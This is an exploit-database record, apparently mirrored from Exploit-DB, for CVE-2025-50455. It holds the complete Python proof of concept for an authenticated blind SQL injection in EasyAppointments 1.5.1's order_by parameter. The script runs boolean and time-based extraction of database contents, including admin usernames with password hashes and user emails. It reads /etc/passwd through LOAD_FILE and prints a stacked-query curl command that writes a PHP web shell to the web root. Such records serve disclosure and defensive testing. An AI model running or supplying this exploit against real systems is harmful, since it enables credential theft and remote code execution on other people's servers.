{"exploit":{"id":"EDB-52667","name":"EasyAppointments 1.5.1 - 'order_by' Authenticated Blind SQL Injection (SQLi)","description":"EasyAppointments 1.5.1 - 'order_by' Authenticated Blind SQL Injection (SQLi)","cves":["CVE-2025-50455"],"author":"Michael Chesang","published":"2026-09-01","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52667","path":"exploits/php/webapps/52667.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52667.py","vulnerabilities":[{"id":"CVE-2025-50455","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability exists in the order_by parameter of the /customers/search endpoint in Alex Tselegidis EasyAppointments <= 1.5.1. The vulnerability arises from unsanitized user input passed to the order_by method of the CodeIgniter Query Builder, enabling attackers to perform time-based queries and schema enumeration. Under certain MySQL configurations, the flaw may lead to remote code execution by writing a PHP shell using INTO OUTFILE.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-50455","cvss":{"version":"3.1","baseScore":9.1,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-50455"},"updatedAt":"2026-07-27T17:40:00.291Z","retrievedAt":"2026-11-25T16:13:46.919Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52667.png?v=2","url":"https://exploitbin.com/exploits/EDB-52667","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52667/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52667/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: EasyAppointments  1.5.1 - Blind SQL Injection\n# Google Dork: N/A (backend login required)\n# Date: 07/27/2026\n# Exploit Author: Michael Chesang\n# Vendor Homepage: https://easyappointments.org\n# Software Link: https://github.com/alextselegidis/easyappointments/releases\n# Version: <= 1.5.1 (REQUIRED)\n# Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28\n# CVE: CVE-2025-50455\n\n=== Description ===\n\nA blind SQL injection vulnerability exists in the order_by parameter of\nthe /index.php/customers/search endpoint in EasyAppointments <= 1.5.1.\nThe parameter is passed unsanitized to CodeIgniter 3 Query Builder\norder_by(). Parenthesized subqueries bypass backtick escaping via CI3's\nprotect_identifiers(), enabling arbitrary SQL injection.\n\nDual-mode extraction:\n- Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order\n- Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0))\n\n=== PoC attached: poc_CVE-2025-50455.py ===\n\nUsage:\npython3 poc_CVE-2025-50455.py --url http://target/ \\\n--username admin --password secret \\\n--mode bool --target version\n\n=== References ===\n\nhttps://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9\nhttps://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e\nhttps://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md\n\nimport argparse\nimport json\nimport re\nimport sys\nimport time\n\nimport requests\nimport urllib.parse\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nBANNER = r\"\"\"\n  _______  _    ________     ___   ___  ___  ______   _____ ____  __  _ ____\n / ___\\ \\ / /__|__  / __|   |_  ) / _ \\|_  )|__ /__|/ ____| ___||  \\| | ___|\n| |__  \\ V / -_)/ /| _|      / / | (_) |/ /  |_ \\_  \\___ \\|___ \\|     |___ \\\n \\____|  \\_/\\___/___|___|    /___| \\___//___|____(_)  ____/ ____/|_|\\__|____/\n\n  CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1\n  POST /index.php/{customers,admins,providers,...}/search  →  order_by\n  Dual-mode: boolean (~0.1s/q) or time-based (~5s/q)\n  Author: Michael Chesang\n\"\"\"\n\nENDPOINTS = {\n    \"customers\":          \"index.php/customers/search\",\n    \"admins\":             \"index.php/admins/search\",\n    \"providers\":          \"index.php/providers/search\",\n    \"services\":           \"index.php/services/search\",\n    \"service_categories\": \"index.php/service_categories/search\",\n    \"webhooks\":           \"index.php/webhooks/search\",\n    \"blocked_periods\":    \"index.php/blocked_periods/search\",\n}\n\nLOGIN_PATH     = \"index.php/login\"\nVALIDATE_PATH  = \"index.php/login/validate\"\nSLEEP_SEC      = 5\nSLEEP_TOL      = 1.5\n\n\ndef die(msg: str):\n    print(msg, file=sys.stderr)\n    sys.exit(1)\n\n\ndef extract_csrf(html: str) -> str:\n    m = re.search(r'\"csrf_token\"\\s*:\\s*\"([a-f0-9]+)\"', html)\n    if not m:\n        die(\"[!] Could not extract csrf_token from page.\")\n    return m.group(1)\n\n\ndef login(args) -> requests.Session:\n    sess = requests.Session()\n    sess.verify = args.verify\n\n    r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout)\n    if r.status_code not in (200, 302):\n        die(f\"[!] Cannot reach login page: HTTP {r.status_code}\")\n\n    csrf_token = extract_csrf(r.text)\n\n    r = sess.post(\n        urllib.parse.urljoin(args.url, VALIDATE_PATH),\n        data={\"csrf_token\": csrf_token, \"username\": args.username, \"password\": args.password},\n        timeout=args.timeout,\n    )\n    if not r.json().get(\"success\"):\n        die(\"[!] Authentication failed – wrong credentials.\")\n\n    print(f\"[+] Authenticated as '{args.username}'\")\n    return sess\n\n\ndef send(sess, args, order_by: str) -> requests.Response:\n    search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS[\"customers\"])\n    url = urllib.parse.urljoin(args.url, search_path)\n    csrf_token = sess.cookies.get(\"csrf_cookie\", \"\")\n    data = {\n        \"csrf_token\": csrf_token,\n        \"keyword\": \"\",\n        \"limit\": 20,\n        \"offset\": 0,\n        \"order_by\": order_by,\n    }\n    return sess.post(url, data=data, timeout=args.timeout)\n\n\ndef timed_send(sess, args, order_by: str) -> float:\n    t0 = time.monotonic()\n    send(sess, args, order_by)\n    return time.monotonic() - t0\n\n\ndef delayed(elapsed: float) -> bool:\n    return elapsed >= (SLEEP_SEC - SLEEP_TOL)\n\n\n# ── Boolean Oracle ────────────────────────────────────────────────────────\n\ndef find_ref_id(sess, args) -> int:\n    \"\"\"Find the ID of the first row when sorted by id ASC.\n    Reference anchor for boolean oracle — stays constant on FALSE.\n    Returns -1 if only 1 row (boolean mode unavailable).\n    \"\"\"\n    try:\n        r = send(sess, args, \"id ASC\")\n        rows = r.json()\n        if len(rows) < 2:\n            return -1\n        return rows[0][\"id\"]\n    except Exception:\n        return -1\n\n\ndef bool_oracle(sess, args, condition: str, ref_id: int) -> bool:\n    \"\"\"Boolean oracle via ORDER BY manipulation.\n    Payload: (SELECT IF(condition, id, -id)) DESC\n    TRUE  → first row has id != ref_id (sorted by id DESC)\n    FALSE → first row has id == ref_id (sorted by -id DESC == id ASC)\n    \"\"\"\n    payload = f\"(SELECT IF({condition}, id, -id)) DESC\"\n    try:\n        r = send(sess, args, payload)\n        rows = r.json()\n        if not rows:\n            return False\n        return rows[0].get(\"id\", 0) != ref_id\n    except Exception:\n        return False\n\n\n# ── Time-based Oracle ─────────────────────────────────────────────────────\n\ndef time_oracle(sess, args, condition: str) -> bool:\n    payload = f\"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))\"\n    return delayed(timed_send(sess, args, payload))\n\n\n# ── Binary-search extraction (shared) ─────────────────────────────────────\n\ndef get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int:\n    lo, hi = 1, max_len\n    while lo < hi:\n        mid = (lo + hi) // 2\n        if oracle_fn(sess, args, f\"LENGTH(({expr})) <= {mid}\"):\n            hi = mid\n        else:\n            lo = mid + 1\n    return lo\n\n\ndef get_char(sess, args, oracle_fn, expr: str, pos: int) -> str:\n    lo, hi = 32, 126\n    while lo < hi:\n        mid = (lo + hi) // 2\n        if oracle_fn(sess, args, f\"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}\"):\n            hi = mid\n        else:\n            lo = mid + 1\n    return chr(lo) if lo <= 126 else \"?\"\n\n\ndef extract(sess, args, oracle_fn, expr: str, label: str = \"\", max_len: int = 256) -> str:\n    tag = label or expr\n    print(f\"\\n[*] Extracting: {tag}\")\n    length = get_length(sess, args, oracle_fn, expr, max_len)\n    print(f\"[*] Length = {length} chars\")\n    result = \"\"\n    for pos in range(1, length + 1):\n        ch = get_char(sess, args, oracle_fn, expr, pos)\n        result += ch\n        print(f\"    [{pos:03d}/{length}]  {result}\", end=\"\\r\", flush=True)\n    print(f\"    [{length:03d}/{length}]  {result}   \")\n    return result\n\n\n# ── Target expressions ────────────────────────────────────────────────────\n\nTARGETS = {\n    \"version\":           (\"@@version\",                                                      \"MySQL version\"),\n    \"user\":              (\"USER()\",                                                          \"DB user\"),\n    \"database\":          (\"DATABASE()\",                                                      \"Current database\"),\n    \"datadir\":           (\"@@datadir\",                                                       \"Data directory\"),\n    \"hostname\":          (\"@@hostname\",                                                      \"Hostname\"),\n    \"secure_file_priv\":  (\"IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))\", \"secure_file_priv\"),\n    \"tables\":            (\"(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())\", \"All tables\"),\n    \"columns\":           (\"(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')\", \"Columns of `{table}`\"),\n    \"admin_creds\":       (\"(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)\", \"Usernames + password hashes\"),\n    \"user_emails\":       (\"(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)\", \"User e-mail addresses\"),\n}\n\n\n# ── Modes ─────────────────────────────────────────────────────────────────\n\ndef mode_bool(sess, args):\n    \"\"\"Boolean-based extraction via ORDER BY first-row oracle. Fastest mode.\"\"\"\n    print(f\"\\n[*] Mode: boolean-based extraction\")\n    print(f\"[*] Endpoint: {args.endpoint}\")\n\n    ref_id = find_ref_id(sess, args)\n    if ref_id < 0:\n        print(\"[!] <2 rows in response — boolean oracle unavailable, use --mode time.\")\n        return\n    print(f\"[*] Reference ID (FALSE anchor): {ref_id}\")\n\n    oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id)\n\n    expr_label = TARGETS.get(args.target, TARGETS[\"version\"])\n    expr = expr_label[0].format(table=args.table)\n    label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1]\n\n    value = extract(sess, args, oracle_fn, expr, label)\n    print(f\"\\n[+] {label}:  {value}\")\n\n\ndef mode_time(sess, args):\n    print(\"\\n[*] Mode: time-based confirmation\")\n    print(f\"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))\")\n    print()\n\n    elapsed_vuln = timed_send(sess, args, f\"1 ASC, (SELECT SLEEP({SLEEP_SEC}))\")\n    elapsed_safe = timed_send(sess, args, \"update_datetime DESC\")\n\n    print(f\"    Injected (sleep)  → {elapsed_vuln:.2f}s\")\n    print(f\"    Benign (no sleep) → {elapsed_safe:.2f}s\")\n    print()\n\n    if delayed(elapsed_vuln) and not delayed(elapsed_safe):\n        print(\"[+] ✔  VULNERABLE\")\n    else:\n        print(\"[-] Timing inconclusive – check connectivity/firewall or increase --timeout.\")\n\n\ndef mode_enum(sess, args):\n    \"\"\"Extract arbitrary data via time-based oracle.\"\"\"\n    expr_label = TARGETS.get(args.target, TARGETS[\"version\"])\n    expr = expr_label[0].format(table=args.table)\n    label = expr_label[1]\n\n    print(f\"\\n[*] Mode: data enumeration  ({label})\")\n    value = extract(sess, args, time_oracle, expr, label)\n    print(f\"\\n[+] {label}:  {value}\")\n\n\ndef mode_schema(sess, args):\n    tables_to_probe = [\n        \"ea_users\", \"ea_appointments\", \"ea_services\",\n        \"ea_providers\", \"ea_settings\", \"users\", \"admins\",\n    ]\n    if args.table and args.table not in tables_to_probe:\n        tables_to_probe.insert(0, args.table)\n\n    print(\"\\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)\")\n    print(f\"[*] Probing tables: {tables_to_probe}\")\n    print()\n\n    found = []\n    for tbl in tables_to_probe:\n        cond = (f\"EXISTS(SELECT 1 FROM information_schema.tables \"\n                f\"WHERE table_schema=DATABASE() AND table_name='{tbl}')\")\n        payload = f\"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))\"\n        print(f\"    Testing '{tbl}' …\", end=\" \", flush=True)\n        elapsed = timed_send(sess, args, payload)\n        if delayed(elapsed):\n            print(f\"EXISTS  ({elapsed:.1f}s delay)\")\n            found.append(tbl)\n        else:\n            print(f\"not found ({elapsed:.1f}s)\")\n\n    print()\n    if found:\n        print(f\"[+] Confirmed tables: {found}\")\n    else:\n        print(\"[-] No tested tables confirmed.\")\n\n\ndef mode_outfile(sess, args):\n    outfile  = args.outfile\n    readfile = args.readfile\n    shell    = '<?php system($_GET[\"cmd\"]); ?>'\n\n    print(\"\\n[*] Mode: FILE privilege exploitation\")\n    print(f\"[*] Read target : {readfile}\")\n    print(f\"[*] Write target: {outfile}\")\n    print()\n\n    # Step 1: check secure_file_priv\n    print(\"[*] Step 1 – Enumerating @@global.secure_file_priv …\")\n    try:\n        sfp = extract(\n            sess, args, time_oracle,\n            \"IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')\",\n            \"secure_file_priv\", max_len=128,\n        )\n        print(f\"\\n[+] secure_file_priv = {sfp!r}\")\n        file_priv = \"UNRESTRICTED\" in sfp or sfp == \"\" or sfp.upper() != \"NULL\"\n    except Exception:\n        print(\"[!] Could not determine secure_file_priv, assuming restricted.\")\n        file_priv = False\n\n    # Step 2: LOAD_FILE read\n    print()\n    print(\"[*] Step 2 – Reading file via LOAD_FILE() sub-query …\")\n    if not file_priv:\n        print(\"[!] FILE privilege unavailable – skipping read.\")\n    else:\n        file_len = get_length(\n            sess, args, time_oracle,\n            f\"IFNULL(LOAD_FILE('{readfile}'),'')\", max_len=65536,\n        )\n        if file_len == 0:\n            print(f\"[!] LOAD_FILE('{readfile}') returned NULL – not readable.\")\n        else:\n            print(f\"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …\")\n            content = extract(\n                sess, args, time_oracle,\n                f\"IFNULL(LOAD_FILE('{readfile}'),'')\",\n                f\"LOAD_FILE({readfile})\", max_len=min(file_len, 512),\n            )\n            print(f\"\\n[+] File content ({readfile}):\")\n            print(\"-\" * 60)\n            print(content)\n            print(\"-\" * 60)\n\n    # Step 3: stacked-query write (theoretical)\n    print()\n    print(\"[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)\")\n    search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint])\n    stacked = f\"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -\"\n    print(f\"    curl -X POST {search_url} \\\\\")\n    print(f\"      -b 'ea_session=<your_session>' \\\\\")\n    print(f\"      -d $'keyword=&limit=20&offset=0&order_by={stacked}'\")\n\n\n# ── CLI ───────────────────────────────────────────────────────────────────\n\ndef parse_args() -> argparse.Namespace:\n    p = argparse.ArgumentParser(\n        prog=\"poc_CVE-2025-50455\",\n        description=\"CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=__doc__,\n    )\n    p.add_argument(\"--url\",      required=True,\n                   help=\"Base URL (e.g. http://172.17.0.1/)\")\n    p.add_argument(\"--username\", required=True, help=\"Backend username\")\n    p.add_argument(\"--password\", required=True, help=\"Backend password\")\n    p.add_argument(\n        \"--mode\",\n        choices=[\"bool\", \"time\", \"schema\", \"enum\", \"outfile\"],\n        default=\"time\",\n        help=(\n            \"bool    – boolean extraction via ORDER BY (fastest, need 2+ rows)\\n\"\n            \"time    – time-based SLEEP confirmation   (default)\\n\"\n            \"schema  – probe table existence via SLEEP\\n\"\n            \"enum    – time-based data extraction\\n\"\n            \"outfile – LOAD_FILE() read + write analysis\"\n        ),\n    )\n    p.add_argument(\n        \"--endpoint\",\n        choices=list(ENDPOINTS.keys()),\n        default=\"customers\",\n        help=\"Vulnerable endpoint (default: customers)\",\n    )\n    p.add_argument(\n        \"--target\",\n        choices=list(TARGETS.keys()),\n        default=\"version\",\n        help=\"(enum/bool mode) what to extract. Default: version\",\n    )\n    p.add_argument(\"--table\", default=\"ea_users\",\n                   help=\"Table name for --target columns / --mode schema\")\n    p.add_argument(\"--outfile\", default=\"/var/www/html/shell.php\",\n                   help=\"(outfile) Server path for shell\")\n    p.add_argument(\"--readfile\", default=\"/etc/passwd\",\n                   help=\"(outfile) File to read via LOAD_FILE()\")\n    p.add_argument(\"--timeout\", type=int, default=30,\n                   help=\"HTTP timeout (default: 30)\")\n    p.add_argument(\"--no-verify\", dest=\"verify\", action=\"store_false\",\n                   default=True, help=\"Disable TLS verification\")\n    return p.parse_args()\n\n\ndef main():\n    print(BANNER)\n    args = parse_args()\n\n    if not args.url.endswith(\"/\"):\n        args.url += \"/\"\n\n    print(f\"[*] Target   : {args.url}\")\n    print(f\"[*] Endpoint : {args.endpoint}\")\n    print(f\"[*] Mode     : {args.mode}\")\n    print(f\"[*] Timeout  : {args.timeout}s\")\n\n    sess = login(args)\n\n    dispatch = {\n        \"bool\":    mode_bool,\n        \"time\":    mode_time,\n        \"schema\":  mode_schema,\n        \"enum\":    mode_enum,\n        \"outfile\": mode_outfile,\n    }\n    dispatch[args.mode](sess, args)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"9a93778d58b22b3dacb4c6ac1bba94f620dee729869f0098ac64ea16718ca678","bytes":16860,"fetchedAt":"2026-11-25T10:17:06.988Z","encoding":"utf-8 (display only; download retains original bytes)"}